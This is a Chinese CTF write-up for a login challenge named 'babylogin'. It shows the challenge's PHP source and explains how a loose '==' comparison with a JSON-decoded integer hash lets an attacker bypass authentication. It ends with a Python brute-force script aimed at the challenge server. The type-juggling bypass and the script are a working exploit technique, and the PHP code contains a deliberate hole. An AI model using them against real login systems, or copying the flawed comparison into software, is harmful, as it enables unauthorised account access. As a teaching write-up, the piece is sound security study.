年常诈尸,这次水一波刚凑热闹的CTF里遇到的题

话不多说,题目说明如下

babylogin
很正常的登录逻辑,只是...
题目地址:http://114.55.36.69:20780/

界面呢就是这个样子,很常见的界面样式

123123.png

既然提供了源码,当然是先看看源码了,源码如下

<?php
include "config.php";

header("Content-Type:text/html;charset=utf8");
session_start();
if (!empty($_SESSION)&&$_SESSION["login"]==1) {
        header("Location: admin.php"); 
        exit();
    }

foreach (array('_GET','_POST','_COOKIE') as $key) {
    foreach ($$key as $key2 => $value) {
        $_GPC[$key2]=$value;
    }
}
//var_dump($_GPC);exit();
if ($_SERVER["REQUEST_METHOD"]=="GET"){
    echo include "outputtpl.php";
}else if($_SERVER["REQUEST_METHOD"]=="POST"){
    
    $userin=addslashes($_POST["name"]);
    $passin=addslashes($_POST["password"]);
    $session = json_decode(base64_decode($_GPC['__session']), true);
    if (is_array($session)){
        $user = find_user_by_uid($session['uid']);
        if(is_array($user) && $session['hash'] == $user['password']){
            $_SESSION["login"]=1;
            $_SESSION["userin"]=$userin;
            header("Location: admin.php");
            exit();
        }else{
            echo "用户名或密码错误";
        }
    }else{
        $sql = "select password from admin where username='$userin'";
        $row = mysql_fetch_array(mysql_query($sql));
        if($row){
            if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }
        }else{
            echo "用户名或密码错误";
        }    
    }
}else {
    echo "GET or POST plz!";
}

看起来很正常的登陆逻辑,对传入的用户名和密码也都进行了addslashes,不过下面却有一个奇怪的session,还是json编码

$session = json_decode(base64_decode($_GPC['__session']), true);

其实有经验/看过相关文章的人应该在这已经意识到了问题,我们接着往下说。

传入的session在经过b64解码和json解码之后给了$session变量,接下来进行uid查库之后比对了密码,如果密码相同则直接登陆成功,确实如题目所说,看起来很正常的逻辑。

if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }

但是且慢,

if($row[$passin]==md5($passin)){

在这个比对里,使用的是两个等于号,这个比对会忽略两个变量的变量类型,由于php是世界上最好的语言,所以它会允许你比对整型和字符串,但是会造成一个问题,看图。


QQ截图20170620212112.png

也就是说,执行整型和字符串比对的时候,php只会比对字符串前的数字,而忽略后面的一堆字符串,这里有个前提,就是必须是整型和字符串比较,并且使用两个等于号,使用三个等于号将会校验变量类型。

然而,php使用$_GET等变量获取参数时,不论输入类型,都是以字符串形式保存,故一般不会被两个等于坑。

然而在这里,由于json_decode的存在,我们可以通过json来传入整数,从而导致绕过这个if

编写一个简单的脚本

# -*- coding:utf-8 -*-

import requests, json

for uid in range(1,100):
    for i in range(0,999):
        r = requests.post('http://114.55.36.69:20780/', data={'__session': json.dumps({'uid':str(uid),'hash':i}).encode("base64")})
        if len(r.text) != 8:
            print 'Seems like we get the data',json.dumps({'uid':str(uid),'hash':i}).encode("base64"),r.text
            exit()
        else:
            print uid,i,'fail, continue...'

跑起来,等一小会,效果如下

QQ图片20170620212527.jpg

成功收获本题flag